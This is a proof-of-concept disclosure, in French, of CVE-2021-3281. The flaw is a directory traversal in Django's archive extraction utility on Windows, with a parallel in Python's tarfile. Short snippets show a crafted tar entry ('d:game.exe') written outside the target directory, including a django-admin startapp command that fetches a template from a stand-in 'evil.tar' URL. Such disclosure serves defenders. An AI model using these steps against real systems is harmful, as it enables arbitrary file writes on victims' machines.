
Preuve de concept pour CVE-2021-3281 : vulnérabilité de traversée de répertoire dans l'utilitaire TarArchive de Django via des fichiers tar malveillants, avec une démonstration du module tarfile de Python.
Il existe une vulnérabilité de type Directory Traversal dans django.utils.archive.py, ligne 171, dans la classe TarArchive.
L'appel de fonction os.path.join(to_path, name) ne vérifiait pas le paramètre "name". Si quelqu'un utilise cet utilitaire sur une plateforme Windows, cela présente un risque de Directory Traversal. Le POC est :
from django.utils import archive
archive.extract('test.tar','.')
Le fichier test.tar inclut un fichier nommé "d:game.exe", et le POC créera un fichier nommé "game.exe" dans D://game.exe plutôt que dans "."
Il semble que le noyau de Django n'utilise pas cet utilitaire, mais je pense quand même que c'est un risque. Quelqu'un pourrait utiliser cet utilitaire dans une application web pour archiver quelque chose.``et il y a une autre scène :``la commande "djangoadmin startapp --template" utilise archive.py, voir https://docs.djangoproject.com/en/3.1/ref/django-admin/#s-startapp. POC est :
django-admin.exe startapp vulapp --template="C:/my_templates/test.tar"
Cela créera un fichier nommé "game.exe" dans D://game.exe plutôt que dans "vulapp/". Il accepte aussi des URL comme "django-admin.exe startapp vulapp --template=https://xxx.com/evil.tar"
from django.utils import archive
archive.extract('test.tar','.')
Le même problème existe dans Python/Lib/tarfile.py :
#Lib/tarfile.py:
import tarfile
tar=tarfile.open('test.tar','r')
tar.extractall('.')
tar.close()
et la documentation donne un avertissement, voir https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3281
https://www.djangoproject.com/weblog/2021/feb/01/security-releases/